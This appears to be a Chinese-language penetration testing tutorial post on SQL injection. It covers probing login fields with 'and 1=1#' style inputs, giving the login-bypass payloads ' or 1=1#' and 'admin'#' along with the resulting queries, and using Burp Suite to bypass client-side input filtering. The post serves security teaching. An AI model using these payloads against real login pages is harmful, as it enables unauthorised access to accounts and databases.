欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

web安全/渗透测试(十一):SQL注入

程序员文章站 2024-03-19 14:02:16
...

一、SQL语句

增删改查

二、SQL注入的危害

1、提供对数据库敏感数据的访问

2、可以读取www文件夹外的本地文件

3、可以用admin登录并进一步对系统进行漏洞发掘

4、可以用来上传文件

三、发现SQL注入

1、使用‘and’,'order by'或“ ' ”在文本框和url注入

其中url形式为:http://baidu.com/page.php?something=something

举例:

某网站的用户账号abc 密码123456

(1)在登录页面输入账号密码,其中密码输入123456' and 1=1#

执行的命令是:

select * from accounts where username = 'abc' and password = '123456' and 1=1#'

如果能登录成功,说明该文本框是可以注入sql语句的。

(2)或:

密码输入123456' and 1=2#

执行的命令是:

select * from accounts where username = 'abc' and password = '123456' and 1=2#'

如果报错,说明该文本框是可以注入sql语句的。因为是正确的账号和正确的密码,这里有个问题,如果是不允许注入sql的话,按理也是登录失败的才对呀。

四、绕过登录限制

1、登录页面,知道账号,不知道密码情况下,

密码输入1111' or 1=1#

执行的命令是:

select * from accounts where username = 'abc' and password = '1111' or 1=1#'

2、登录页面,知道账号,不知道密码情况下,

账号输入admin'#

执行的命令是:

select * from accounts where username = 'admin'# and password = '1111'

五、绕过更高级的登录限制

1、安全等级提高后,依然用前面的方法注入sql,会提示非法输入。

此时判断是在客户端被过滤还是在服务器被过滤的。

如果是客户端过滤的话,可以用Burpsuite绕过。

2、如何判断是在客户端被过滤还是在服务器被过滤?

打开burpsuite后,在登录页面,输入账号和非法密码,如果客户端仍提示非法输入,而Burpsuite未拦截到任何请求,说明是客户端过滤。

3、用Burpsuite绕过客户端过滤

(1)登录页面输入合法账号和密码,用burpsuite拦截

(2)burpsuite拦截后在proxy修改请求,再forward(发送请求)